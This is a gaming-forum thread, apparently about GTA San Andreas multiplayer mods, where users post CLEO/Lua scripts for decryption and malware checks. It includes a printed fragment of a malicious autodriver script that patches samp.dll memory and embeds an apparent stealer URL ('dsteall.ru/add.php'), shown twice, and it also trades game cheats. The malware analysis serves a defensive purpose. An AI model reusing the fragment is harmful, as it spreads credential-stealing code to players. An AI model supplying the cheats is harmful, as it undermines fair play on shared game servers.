️ Decrypting/Safety Check CLEO/SF/ASI/DLL


Here you can send files and they will be decrypted(cleo/lua/ahk) !

CLEO / LUA / AHK files can have their encryption removed
In full / in part



The SF / ASI / DLL file will be mainly tested
It is not possible to extract code in an orderly manner from files programmed in C ++
Here you will find out if a file is safe and what it does.
 
Last edited:

Ziga

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Can anyone delete the conector present o this cleo? thanks
 

Attachments

  • action.cs.cs
    29.3 KB · Views: 2

0x73616D

Active member
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Apr 18, 2021
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0x73616D
Can anyone delete the conector present o this cleo? thanks
sure

PHP:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
wait 0

:NONAME_4
wait 0
   Player.Defined(0)
else_jump @NONAME_4
0A96: 0@ = actor $PLAYER_ACTOR struct
0@ += 66
0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0

:NONAME_46
wait 0
03F0: enable_text_draw 1
if
0AB0:   key_pressed 20
else_jump @NONAME_143
0A8D: 2@ = read_memory 0@ size 1 virtual_protect 0
if
  2@ == 204
else_jump @NONAME_114
2@ = 0
jump @NONAME_121

:NONAME_114
2@ = 1

:NONAME_121
0AB0:   key_pressed 20
else_jump @NONAME_143
wait 0
jump @NONAME_121

:NONAME_143
if
  2@ == 0
else_jump @NONAME_192
0A8C: write_memory 0@ size 1 value 1@ virtual_protect 0
jump @NONAME_216

:NONAME_192
0A8C: write_memory 0@ size 1 value 204 virtual_protect 0

:NONAME_216
jump @NONAME_46
 

Attachments

  • decrypt.cs
    18.3 KB · Views: 5

SobFoX

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Location
Israel
can someone help me Decrypt, please?
JavaScript:
{$CLEO .cs}

nop
wait 2000
use_text_commands 1

:Noname_11
wait 0
if and
  Player.Defined($PLAYER_ACTOR)
  is_char_on_foot $PLAYER_ACTOR
goto_if_false @Noname_178
get_ped_pointer 5@ = ped $PLAYER_ACTOR
5@ += 1332
read_memory 6@ = read_memory 5@ size 2 virtual_protect 0
if or
  6@ == 6
  6@ == 7
goto_if_false @Noname_178
read_memory 0@ = read_memory 12045748 size 4 virtual_protect 0
set_lvar_float_to_lvar_float 1@ = 0@
1@ /= 31.5
1@ += 4.7
cleo_call @Noname_185 9 320.0 420.0 1@ 60.0 6.0 3.0 255 255 255

:Noname_178
goto @Noname_11

:Noname_185
13@ = 104.7
div_float_lvar_by_float_lvar 13@ /= 3@
div_float_lvar_by_float_lvar 2@ /= 13@
set_lvar_float_to_lvar_float 11@ = 3@
set_lvar_float_to_lvar_float 12@ = 4@
add_float_lvar_to_float_lvar 11@ += 5@
add_float_lvar_to_float_lvar 12@ += 5@
draw_rect 0@ 1@ size 11@ 12@ RGBA 0 0 0 255
draw_rect 0@ 1@ size 3@ 4@ RGBA 100 0 0 255
set_lvar_float_to_lvar_float 10@ = 2@
10@ /= 2.0
3@ /= 2.0
add_float_lvar_to_float_lvar 0@ += 10@
sub_float_lvar_from_float_lvar 0@ -= 3@
draw_rect 0@ 1@ size 2@ 5.0 RGBA 6@ 7@ 8@ 255
cleo_return 0
 

MrHoow

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hey SobFox, could you decrypt this file, please?
 

Attachments

  • CheatMenuSA.asi
    1.5 MB · Views: 2

madsinagestr

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help me decrypt it.
 

Attachments

  • VerticalCamVisibilityUnlockBYal3x_.asi
    80 KB · Views: 4
  • Y-Axis_Sensitivity_Fix_gta3vcsa.asi
    70 KB · Views: 0

LLENN

Member
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Nov 10, 2018
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Hi Sobfox, I just want to know if you can Decrypt this cleo. I don't know if this one got encrypt but when i try to decompile using sanny, there's no code there that i could change like the command to set or somethin. Help me please
 

Attachments

  • setarmor-health.cs
    201 bytes · Views: 0

Viz_310

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Aug 12, 2020
Messages
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Location
India
Need help
 

Attachments

  • autodriver.cs
    21.6 KB · Views: 2
  • Anti_AFK.lua
    747 bytes · Views: 3

0x73616D

Active member
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Messages
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Reaction score
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Location
0x73616D
Need help
Anti-AFK.lua CLEAN.
PHP:
local memory = require 'memory'
local afk = true

function main()
wait(3000)
    while true do
        wait(0)

        if testCheat('AFK') then
            afk = not afk
            printStringNow(afk and '~g~ AFK ON' or '~r~ AFK OFF', 2000)
        end

        if afk then
            memory.setuint8(7634870, 1, false)
            memory.setuint8(7635034, 1, false)
            memory.fill(7623723, 144, 8, false)
            memory.fill(5499528, 144, 6, false)
        else
            memory.setuint8(7634870, 0, false)
            memory.setuint8(7635034, 0, false)
            memory.hex2bin('0F 84 7B 01 00 00', 7623723, 8)
            memory.hex2bin('50 51 FF 15 00 83 85 00', 5499528, 6)
        end
    end
end
Autodriver malware, two cleos connected. I leave you the file and the code without malware:
JavaScript:
{$CLEO .cs}

30@ = 0
4@ = 25.0

:Noname_17
wait 0
if
  Player.Defined($PLAYER_CHAR)
goto_if_false @Noname_732
if and
  Actor.Driving($PLAYER_ACTOR)
  not Actor.DrivingVehicleType($PLAYER_ACTOR, #FREIGHT)
  not Actor.DrivingVehicleType($PLAYER_ACTOR, #STREAK)
  not is_char_in_any_boat $PLAYER_ACTOR
  not is_char_in_flying_vehicle $PLAYER_ACTOR
goto_if_false @Noname_309
0@ = Actor.CurrentCar($PLAYER_ACTOR)
if
  is_key_pressed 90
goto_if_false @Noname_200
if and
  does_vehicle_exist 0@
  get_target_blip_coords 1@ 2@ 3@
goto_if_false @Noname_188
add_one_off_sound 1058 at 0.0 0.0 0.0
if
  30@ == 0
goto_if_false @Noname_181
gosub @Noname_844
goto @Noname_188

:Noname_181
gosub @Noname_739

:Noname_188
cleo_call @Noname_1337 1 90

:Noname_200
if
  22@ == 0
  is_key_pressed 16
goto_if_false @Noname_262
get_current_char_weapon 21@ = actor $PLAYER_ACTOR
if and
  21@ >= 22
  not 21@ > 32
goto_if_false @Noname_262
gosub @Noname_1211

:Noname_262
if
  not 22@ == 0
goto_if_false @Noname_309
if
  is_key_pressed 16
goto_if_false @Noname_302
goto @Noname_309

:Noname_302
gosub @Noname_1262

:Noname_309
if
  30@ == 1
goto_if_false @Noname_695
if or
  is_button_pressed 0 pressed_key 15
  is_car_in_water 0@
  Car.Wrecked(0@)
goto_if_false @Noname_361
gosub @Noname_739

:Noname_361
if and
  does_vehicle_exist 0@
  is_car_upsidedown 0@
goto_if_false @Noname_389
gosub @Noname_798

:Noname_389
if
  not does_vehicle_exist 0@
goto_if_false @Noname_419
30@ = 0
goto @Noname_688

:Noname_419
if
  not Actor.InCar($PLAYER_ACTOR, 0@)
goto_if_false @Noname_445
30@ = 0

:Noname_445
if and
  is_key_pressed 65
  get_target_blip_coords 1@ 2@ 3@
goto_if_false @Noname_490
gosub @Noname_927
cleo_call @Noname_1337 1 65

:Noname_490
if
  is_key_pressed 32
goto_if_false @Noname_576
load_mission_text 'FTRAIN'
if
  29@ == 0
goto_if_false @Noname_562
cleo_call @Noname_1365 4 10 1 -1647 3
29@ = 1

:Noname_562
gosub @Noname_977
goto @Noname_613

:Noname_576
if
  29@ == 1
goto_if_false @Noname_613
29@ = 0
cleo_call @Noname_1431 1 10

:Noname_613
if
  locate_stopped_car_2d 0@ sphere 0 near_point 1@ 2@ radius 3.0 3.0
goto_if_false @Noname_654
gosub @Noname_739

:Noname_654
if
  is_key_pressed 88
goto_if_false @Noname_688
gosub @Noname_1108
cleo_call @Noname_1337 1 88

:Noname_688
goto @Noname_732

:Noname_695
if
  29@ == 1
goto_if_false @Noname_732
29@ = 0
cleo_call @Noname_1431 1 10

:Noname_732
goto @Noname_17

:Noname_739
30@ = 0
task_warp_char_into_car_as_driver $PLAYER_ACTOR into_car 0@
set_car_traction 0@ improved_handling_to 1.0
Car.RemoveReferences(0@)
set_car_strong 0@ strong 0
add_one_off_sound 1058 at 0.0 0.0 0.0
return

:Noname_798
5@ = Car.Angle(0@)
Car.StorePos(0@, 6@, 7@, 8@)
Car.PutAt(0@, 6@, 7@, 8@)
Car.Angle(0@) = 5@
return

:Noname_844
30@ = 1
get_ground_z_for_3d_coord 3@ = ground_z_at 1@ 2@ 3@
set_car_mission 0@ driver_behaviour_to 0
set_car_driving_style 0@ traffic_behaviour_to 2
set_car_traction 0@ improved_handling_to 2.0
set_car_strong 0@ strong 1
Car.DriveTo(0@, 1@, 2@, 3@)
Car.SetMaxSpeed(0@, 4@)
20@ = 0
return

:Noname_927
get_ground_z_for_3d_coord 3@ = ground_z_at 1@ 2@ 3@
Car.DriveTo(0@, 1@, 2@, 3@)
add_one_off_sound 1058 at 0.0 0.0 0.0
return

:Noname_977
if and
  4@ > 3.5
  is_key_pressed 40
  TIMERA >= 75
goto_if_false @Noname_1034
TIMERA = 0
4@ += -0.5
Car.SetMaxSpeed(0@, 4@)

:Noname_1034
if and
  not 4@ >= 50.0
  is_key_pressed 38
  TIMERA >= 75
goto_if_false @Noname_1091
TIMERA = 0
4@ += 0.5
Car.SetMaxSpeed(0@, 4@)

:Noname_1091
cset_lvar_int_to_lvar_float 10@ = float 4@
10@ *= 2
return

:Noname_1108
if
  20@ == 0
goto_if_false @Noname_1154
20@ = 1
set_car_driving_style 0@ traffic_behaviour_to 1
set_car_mission 0@ driver_behaviour_to 1
goto @Noname_1189

:Noname_1154
20@ = 0
set_car_driving_style 0@ traffic_behaviour_to 2
set_car_mission 0@ driver_behaviour_to 0
Car.DriveTo(0@, 1@, 2@, 3@)

:Noname_1189
add_one_off_sound 1058 at 0.0 0.0 0.0
return

:Noname_1211
22@ = 1
task_drive_by $PLAYER_ACTOR driveby_actor -1 car -1 point 0.0 0.0 0.0 radius 300.0 8 0 firing_rate 75
set_time_scale 0.5
return

:Noname_1262
22@ = 0
task_warp_char_into_car_as_driver $PLAYER_ACTOR into_car 0@
if
  30@ == 1
goto_if_false @Noname_1328

:Noname_1295
wait 0
  Actor.InCar($PLAYER_ACTOR, 0@)
goto_if_false @Noname_1295
Car.DriveTo(0@, 1@, 2@, 3@)

:Noname_1328
set_time_scale 1.0
return

:Noname_1337
  is_key_pressed 0@
goto_if_false @Noname_1360
wait 0
goto @Noname_1337

:Noname_1360
cleo_return 0

:Noname_1365
cleo_call @Noname_1472 1 0@ 0@
cleo_call @Noname_1575 1 2@ 2@
call_method 4509088 struct 12195720 num_params 4 pop 0 3@ 2@ 1@ 0@
cleo_return 0

:Noname_1431
cleo_call @Noname_1472 1 0@ 0@
call_method 4509312 struct 12195720 num_params 1 pop 0 0@
cleo_return 0

:Noname_1472
get_this_script_struct 1@
int_add 2@ = 1@ + 220
read_memory 2@ = read_memory 2@ size 1 virtual_protect 0
if
  2@ == 1
goto_if_false @Noname_1535
1@ = 10783072
goto @Noname_1542

:Noname_1535
1@ += 60

:Noname_1542
0@ *= 4
add_int_lvar_to_int_lvar 1@ += 0@
1@ -= 10787168
cleo_return 1 1@

:Noname_1575
if
  0@ == 0
goto_if_false @Noname_1600
cleo_return 1 0

:Noname_1600
get_this_script_struct 1@
1@ += 16
read_memory 1@ = read_memory 1@ size 4 virtual_protect 0
sub_int_lvar_from_int_lvar 1@ -= 0@
1@ += 3
cleo_return 1 1@
clear_object_last_weapon_damage 'FREI_11'
nop
And a small part of the code with malware:
PHP:
:Noname_1481
  load_dynamic_library 31@ = load_dynamic_library "kernel32.dll"
  get_dynamic_library_procedure 30@ = get_dynamic_library_procedure "GetModuleHandleA" library 31@
call_function_return 30@ num_params 1 pop 0 "samp.dll" 0@
0@ += 371500
write_memory 0@ size 4 value -1869574000 virtual_protect 1
0@ += 4
write_memory 0@ size 1 value 144 virtual_protect 1
0@ += 9
write_memory 0@ size 4 value -1869574000 virtual_protect 1
0@ += 4
write_memory 0@ size 1 value 144 virtual_protect 1
cleo_return 0

:Noname_1637
hex
 "http://dsteall.ru/add.php?" 00
end
 

Attachments

  • autodriver_2.cs
    1.6 KB · Views: 1

Viz_310

Member
Joined
Aug 12, 2020
Messages
20
Reaction score
1
Location
India
Anti-AFK.lua CLEAN.
PHP:
local memory = require 'memory'
local afk = true

function main()
wait(3000)
    while true do
        wait(0)

        if testCheat('AFK') then
            afk = not afk
            printStringNow(afk and '~g~ AFK ON' or '~r~ AFK OFF', 2000)
        end

        if afk then
            memory.setuint8(7634870, 1, false)
            memory.setuint8(7635034, 1, false)
            memory.fill(7623723, 144, 8, false)
            memory.fill(5499528, 144, 6, false)
        else
            memory.setuint8(7634870, 0, false)
            memory.setuint8(7635034, 0, false)
            memory.hex2bin('0F 84 7B 01 00 00', 7623723, 8)
            memory.hex2bin('50 51 FF 15 00 83 85 00', 5499528, 6)
        end
    end
end
Autodriver malware, two cleos connected. I leave you the file and the code without malware:
JavaScript:
{$CLEO .cs}

30@ = 0
4@ = 25.0

:Noname_17
wait 0
if
  Player.Defined($PLAYER_CHAR)
goto_if_false @Noname_732
if and
  Actor.Driving($PLAYER_ACTOR)
  not Actor.DrivingVehicleType($PLAYER_ACTOR, #FREIGHT)
  not Actor.DrivingVehicleType($PLAYER_ACTOR, #STREAK)
  not is_char_in_any_boat $PLAYER_ACTOR
  not is_char_in_flying_vehicle $PLAYER_ACTOR
goto_if_false @Noname_309
0@ = Actor.CurrentCar($PLAYER_ACTOR)
if
  is_key_pressed 90
goto_if_false @Noname_200
if and
  does_vehicle_exist 0@
  get_target_blip_coords 1@ 2@ 3@
goto_if_false @Noname_188
add_one_off_sound 1058 at 0.0 0.0 0.0
if
  30@ == 0
goto_if_false @Noname_181
gosub @Noname_844
goto @Noname_188

:Noname_181
gosub @Noname_739

:Noname_188
cleo_call @Noname_1337 1 90

:Noname_200
if
  22@ == 0
  is_key_pressed 16
goto_if_false @Noname_262
get_current_char_weapon 21@ = actor $PLAYER_ACTOR
if and
  21@ >= 22
  not 21@ > 32
goto_if_false @Noname_262
gosub @Noname_1211

:Noname_262
if
  not 22@ == 0
goto_if_false @Noname_309
if
  is_key_pressed 16
goto_if_false @Noname_302
goto @Noname_309

:Noname_302
gosub @Noname_1262

:Noname_309
if
  30@ == 1
goto_if_false @Noname_695
if or
  is_button_pressed 0 pressed_key 15
  is_car_in_water 0@
  Car.Wrecked(0@)
goto_if_false @Noname_361
gosub @Noname_739

:Noname_361
if and
  does_vehicle_exist 0@
  is_car_upsidedown 0@
goto_if_false @Noname_389
gosub @Noname_798

:Noname_389
if
  not does_vehicle_exist 0@
goto_if_false @Noname_419
30@ = 0
goto @Noname_688

:Noname_419
if
  not Actor.InCar($PLAYER_ACTOR, 0@)
goto_if_false @Noname_445
30@ = 0

:Noname_445
if and
  is_key_pressed 65
  get_target_blip_coords 1@ 2@ 3@
goto_if_false @Noname_490
gosub @Noname_927
cleo_call @Noname_1337 1 65

:Noname_490
if
  is_key_pressed 32
goto_if_false @Noname_576
load_mission_text 'FTRAIN'
if
  29@ == 0
goto_if_false @Noname_562
cleo_call @Noname_1365 4 10 1 -1647 3
29@ = 1

:Noname_562
gosub @Noname_977
goto @Noname_613

:Noname_576
if
  29@ == 1
goto_if_false @Noname_613
29@ = 0
cleo_call @Noname_1431 1 10

:Noname_613
if
  locate_stopped_car_2d 0@ sphere 0 near_point 1@ 2@ radius 3.0 3.0
goto_if_false @Noname_654
gosub @Noname_739

:Noname_654
if
  is_key_pressed 88
goto_if_false @Noname_688
gosub @Noname_1108
cleo_call @Noname_1337 1 88

:Noname_688
goto @Noname_732

:Noname_695
if
  29@ == 1
goto_if_false @Noname_732
29@ = 0
cleo_call @Noname_1431 1 10

:Noname_732
goto @Noname_17

:Noname_739
30@ = 0
task_warp_char_into_car_as_driver $PLAYER_ACTOR into_car 0@
set_car_traction 0@ improved_handling_to 1.0
Car.RemoveReferences(0@)
set_car_strong 0@ strong 0
add_one_off_sound 1058 at 0.0 0.0 0.0
return

:Noname_798
5@ = Car.Angle(0@)
Car.StorePos(0@, 6@, 7@, 8@)
Car.PutAt(0@, 6@, 7@, 8@)
Car.Angle(0@) = 5@
return

:Noname_844
30@ = 1
get_ground_z_for_3d_coord 3@ = ground_z_at 1@ 2@ 3@
set_car_mission 0@ driver_behaviour_to 0
set_car_driving_style 0@ traffic_behaviour_to 2
set_car_traction 0@ improved_handling_to 2.0
set_car_strong 0@ strong 1
Car.DriveTo(0@, 1@, 2@, 3@)
Car.SetMaxSpeed(0@, 4@)
20@ = 0
return

:Noname_927
get_ground_z_for_3d_coord 3@ = ground_z_at 1@ 2@ 3@
Car.DriveTo(0@, 1@, 2@, 3@)
add_one_off_sound 1058 at 0.0 0.0 0.0
return

:Noname_977
if and
  4@ > 3.5
  is_key_pressed 40
  TIMERA >= 75
goto_if_false @Noname_1034
TIMERA = 0
4@ += -0.5
Car.SetMaxSpeed(0@, 4@)

:Noname_1034
if and
  not 4@ >= 50.0
  is_key_pressed 38
  TIMERA >= 75
goto_if_false @Noname_1091
TIMERA = 0
4@ += 0.5
Car.SetMaxSpeed(0@, 4@)

:Noname_1091
cset_lvar_int_to_lvar_float 10@ = float 4@
10@ *= 2
return

:Noname_1108
if
  20@ == 0
goto_if_false @Noname_1154
20@ = 1
set_car_driving_style 0@ traffic_behaviour_to 1
set_car_mission 0@ driver_behaviour_to 1
goto @Noname_1189

:Noname_1154
20@ = 0
set_car_driving_style 0@ traffic_behaviour_to 2
set_car_mission 0@ driver_behaviour_to 0
Car.DriveTo(0@, 1@, 2@, 3@)

:Noname_1189
add_one_off_sound 1058 at 0.0 0.0 0.0
return

:Noname_1211
22@ = 1
task_drive_by $PLAYER_ACTOR driveby_actor -1 car -1 point 0.0 0.0 0.0 radius 300.0 8 0 firing_rate 75
set_time_scale 0.5
return

:Noname_1262
22@ = 0
task_warp_char_into_car_as_driver $PLAYER_ACTOR into_car 0@
if
  30@ == 1
goto_if_false @Noname_1328

:Noname_1295
wait 0
  Actor.InCar($PLAYER_ACTOR, 0@)
goto_if_false @Noname_1295
Car.DriveTo(0@, 1@, 2@, 3@)

:Noname_1328
set_time_scale 1.0
return

:Noname_1337
  is_key_pressed 0@
goto_if_false @Noname_1360
wait 0
goto @Noname_1337

:Noname_1360
cleo_return 0

:Noname_1365
cleo_call @Noname_1472 1 0@ 0@
cleo_call @Noname_1575 1 2@ 2@
call_method 4509088 struct 12195720 num_params 4 pop 0 3@ 2@ 1@ 0@
cleo_return 0

:Noname_1431
cleo_call @Noname_1472 1 0@ 0@
call_method 4509312 struct 12195720 num_params 1 pop 0 0@
cleo_return 0

:Noname_1472
get_this_script_struct 1@
int_add 2@ = 1@ + 220
read_memory 2@ = read_memory 2@ size 1 virtual_protect 0
if
  2@ == 1
goto_if_false @Noname_1535
1@ = 10783072
goto @Noname_1542

:Noname_1535
1@ += 60

:Noname_1542
0@ *= 4
add_int_lvar_to_int_lvar 1@ += 0@
1@ -= 10787168
cleo_return 1 1@

:Noname_1575
if
  0@ == 0
goto_if_false @Noname_1600
cleo_return 1 0

:Noname_1600
get_this_script_struct 1@
1@ += 16
read_memory 1@ = read_memory 1@ size 4 virtual_protect 0
sub_int_lvar_from_int_lvar 1@ -= 0@
1@ += 3
cleo_return 1 1@
clear_object_last_weapon_damage 'FREI_11'
nop
And a small part of the code with malware:
PHP:
:Noname_1481
  load_dynamic_library 31@ = load_dynamic_library "kernel32.dll"
  get_dynamic_library_procedure 30@ = get_dynamic_library_procedure "GetModuleHandleA" library 31@
call_function_return 30@ num_params 1 pop 0 "samp.dll" 0@
0@ += 371500
write_memory 0@ size 4 value -1869574000 virtual_protect 1
0@ += 4
write_memory 0@ size 1 value 144 virtual_protect 1
0@ += 9
write_memory 0@ size 4 value -1869574000 virtual_protect 1
0@ += 4
write_memory 0@ size 1 value 144 virtual_protect 1
cleo_return 0

:Noname_1637
hex
 "http://dsteall.ru/add.php?" 00
end
Lots of respect for your work, also the autodriver makes one of my cheat objectfinder commands not work. any solution for that ?
Thanks
 

Attachments

  • objectFinder.cs
    43.8 KB · Views: 3

Viz_310

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Lots of respect for your work, also the autodriver makes one of my cheat objectfinder commands not work. any solution for that ?
Thanks
Update: massive thanks, i didnt notice taht new autodriver script has fixed it. sorry if i bothered you with rechecking
 

Viz_310

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Dycrypt and set auto on or instead of pressing f2 tell me which address to change so its not f2 and something else
 

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  • WallhackF2.cs
    769 bytes · Views: 2

Ziga

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Someone can decrypt this cleo and rewrite it, it has keylogger
 

Attachments

  • ReportPlayer.cs
    476 bytes · Views: 5
  • ReportPlayer.ini
    39 bytes · Views: 3

0x73616D

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Someone can decrypt this cleo and rewrite it, it has keylogger
You clearly didn't take the time to try to open cleo, the code is completely clean.

PHP:
{$CLEO .cs}
{$USE ini}

script_name "ReportPlayer"
wait 4000
nop
if
  not does_file_exist "cleo\ReportPlayer.ini"
goto_if_false @ReportPlayer_156
  write_int_to_ini_file 70 to_ini_file "cleo\ReportPlayer.ini" section "Settings" key "Tecla"
  write_string_to_ini_file "Inmortal" to_ini_file "cleo\ReportPlayer.ini" section "Settings" key "Motivo"

:ReportPlayer_156
if
  read_int_from_ini_file 26@ = read_int_from_ini_file "cleo\ReportPlayer.ini" section "Settings" key "Tecla"
  read_string_from_ini_file 4@v = read_string_from_ini_file "cleo\ReportPlayer.ini" section "Settings" key "Motivo"

:ReportPlayer_251
wait 0
if
  Player.Defined(0)
goto_if_false @ReportPlayer_251
if
0@ = SAMP.Base()
goto_if_false @ReportPlayer_288
terminate_this_custom_script

:ReportPlayer_288
wait 400
  SAMP.Available
goto_if_false @ReportPlayer_288

:ReportPlayer_302
wait 0
if
  is_key_pressed 26@
goto_if_false @ReportPlayer_302
if
  get_char_player_is_targeting 0@ = player $PLAYER_CHAR
goto_if_false @ReportPlayer_302
1@ = SAMP.GetSAMPPlayerIDByActorHandle(0@)
2@ = SAMP.GetPlayerNickname(1@)
say "/reportar %d %s" 1@ 4@v
wait 200
chatmsg "{ffffff}Reportaste a {00ccff}%s {ffffff}por {ff3300}%s{ffffff}." color -1 2@ 4@v
wait 500
goto @ReportPlayer_302
 
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